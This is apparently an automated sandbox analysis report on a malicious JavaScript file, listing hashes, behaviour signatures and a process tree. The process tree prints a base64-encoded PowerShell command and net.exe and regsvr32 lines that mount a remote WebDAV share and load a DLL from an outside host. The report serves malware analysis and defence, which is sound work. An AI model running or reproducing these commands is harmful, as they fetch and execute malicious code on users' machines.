Analysis

  • max time kernel
    137s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 14:37

General

  • Target

    2887717567251933645.js

  • Size

    17KB

  • MD5

    49577829cbb0e6762aa1a60f963462be

  • SHA1

    73d00642aeb1ed972181203dd19b10c0a2998bae

  • SHA256

    00b554f0e13ec289d51dec190f2264ca710f39318a74c8ee682b44ca499fea34

  • SHA512

    5232cfbce1f6b78de50e4e4498098c1bb89221d4c00d296f976f230f5c4a5a8ab975fbb390aa35c62f532a5a8a949138986374689b09cfa69c812d8f81d75c5d

  • SSDEEP

    96:or+0G6InKtXyh9eDi3cBpcDUaAwHpt4LFlF6MvkiHwGmnFpMr3BTO:DeIKtweocBpcDUaruLFv6MvfyMO

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2887717567251933645.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA3ADgAMwA4ADIAMQA1ADgAMgAxADIANQA5ADkALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:568
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\78382158212599.dll
          3⤵
            PID:1680

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iu2wrfip.gvd.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/3048-0-0x00007FFE23C23000-0x00007FFE23C25000-memory.dmp

        Filesize

        8KB

      • memory/3048-1-0x00000206B9680000-0x00000206B96A2000-memory.dmp

        Filesize

        136KB

      • memory/3048-11-0x00007FFE23C20000-0x00007FFE246E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3048-12-0x00007FFE23C20000-0x00007FFE246E1000-memory.dmp

        Filesize

        10.8MB

      • memory/3048-15-0x00007FFE23C20000-0x00007FFE246E1000-memory.dmp

        Filesize

        10.8MB